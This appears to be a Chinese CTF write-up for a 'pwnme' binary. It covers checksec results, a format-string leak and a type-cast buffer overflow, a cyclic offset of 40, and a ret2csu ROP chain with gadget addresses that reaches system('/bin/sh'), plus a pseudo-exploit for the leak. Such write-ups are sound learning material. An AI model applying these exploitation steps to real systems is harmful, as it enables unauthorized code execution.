Overview
Safeguard、operation and analysis
pic@ubuntu:~/Desktop$ checksec pwnme
[*] '/home/pic/Desktop/pwnme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现本题开启了RELRO
和NX
,意味着我们不能随便搞got表和直接往栈上写shellcode,我们来分析本题逻辑
pic@ubuntu:~/Desktop$ ./pwnme
**********************************************
* *
* Have fun!Pwn me *
* *
**********************************************
Register Account first!
Input your username(max lenth:40):
1
Input your password(max lenth:40):
1
Register Success!!
本题首先进行注册之后弹出3个选项
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>1
1
1
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>2
please input new username(max lenth:20):
1
please input new password(max lenth:20):
1
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>3
byebyeT.T
我们到ida中进行下一步分析,发现在输出函数即选项1中存在格式化字符串
int __fastcall sub_400AD1(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
printf(&formata);
return printf(&a9 + 4);
}
然后就没有然后了,我并不知道其他漏洞点,在看了大佬的wp后get到了一个新的漏洞方式类型转换不当导致缓冲区溢出,在编辑函数即选项2中的修改密码
if ( (_BYTE)v12 && (unsigned __int8)v12 <= 0x14u )
看到v12被类型转换,将unsigned int v12
转为_BYTE
,也即最后一个字节小于0x14u即可,之后输入最后字节满足if语句即可,我们找到了溢出点和泄露点,可以开始思考怎么利用了
Thinking
how to exploit vulnerability
我们最后要做的便是执行system("/bin/sh")
,首先找到system地址,根据格式化字符串漏洞,我们利用DynELF把system的地址爆破出来,之后利用缓冲区溢出构造一个rop直接去执行获得shell。行,下面看一下具体过程我们先说rop的构造,毕竟这是这题难点
先找到溢出点,直接用cyclic整0x100个即256个,
pic@ubuntu:~/Desktop$ cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
直接贴到程序中,由于大于0x00007fffffffffff,程序正常爆炸,我们直接找到esp的值
RAX 0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa')
RBX 0x0
RCX 0x603660 ◂— 0x0
RDX 0x10
RDI 0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa')
RSI 0x603670 ◂— 0x6161616261616161 ('aaaabaaa')
R8 0x1
R9 0x7fffffffe380 ◂— 0x111004010a8
R10 0x603870 ◂— 0x0
R11 0x7fffffffe481 ◂— 'aaclaacmaacnaacoaacpaacqaacraac\n'
R12 0x400770 ◂— xor ebp, ebp
R13 0x7fffffffe5c0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x6161616a61616169 ('iaaajaaa')
RSP 0x7fffffffe3b8 ◂— 0x6161616c6161616b ('kaaalaaa')
RIP 0x400ad0 ◂— ret
直接找到溢出点为40
pic@ubuntu:~/Desktop$ cyclic -l 0x6161616b
40
之后直接向后写,我们的思路是先利用read在bss端写字符串,然后pop到rdi,直接到system里执行,所以一个完整的rop链是
'A'*40+read(0,bss_addr,8)+pop rdi+bss_addr+system(rdi)
之后就是找可利用的gadget了,根据大佬的博客发现有两个通用的,还有一个很难找的pop rdi
,但是有pop r15
,利用该网站看看机器码,该汇编的机器码是
0: 41 5f pop r15
而pop rdi
0: 5f pop rdi
,差一个字节,所以也有了,这些代码在ida中找到了,直接贴出来
.text:0000000000400EB0 mov rdx, r13
.text:0000000000400EB3 mov rsi, r14
.text:0000000000400EB6 mov edi, r15d
.text:0000000000400EB9 call qword ptr [r12+rbx*8]
.text:0000000000400EBD add rbx, 1
.text:0000000000400EC1 cmp rbx, rbp
.text:0000000000400EC4 jnz short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6: ; CODE XREF: init+36↑j
.text:0000000000400EC6 add rsp, 8
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15
.text:0000000000400ED4 retn
所以具体的rop链为
'A'*40+0000000000400ECA + 0 + 1 + read + 8 + bss_addr + 0 + 0000000000400EB0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0000000000400ED3 + bss_addr + system
然后后边用A
凑齐,即可起shell,下面补充一下格式化字符串的利用,在用aaaa%n$x
测试时发现在8的时候是字符串起始位置,然后很奇怪,看大佬的wp发现利用输出密码时才能泄露,下面列出该漏洞的伪exp
'please input new username(max lenth:20): \n' => '%11$sflag'
'please input new password(max lenth:20): \n' => 'aaaa'+p64(address)
通过ida可以发现两个字符串相差16个字节偏移为4,即
8 起始位置
9
10
11 存放address
通过这个便可泄露出来addr,很爽。做这题真的花了好久好久,还是太菜了~~~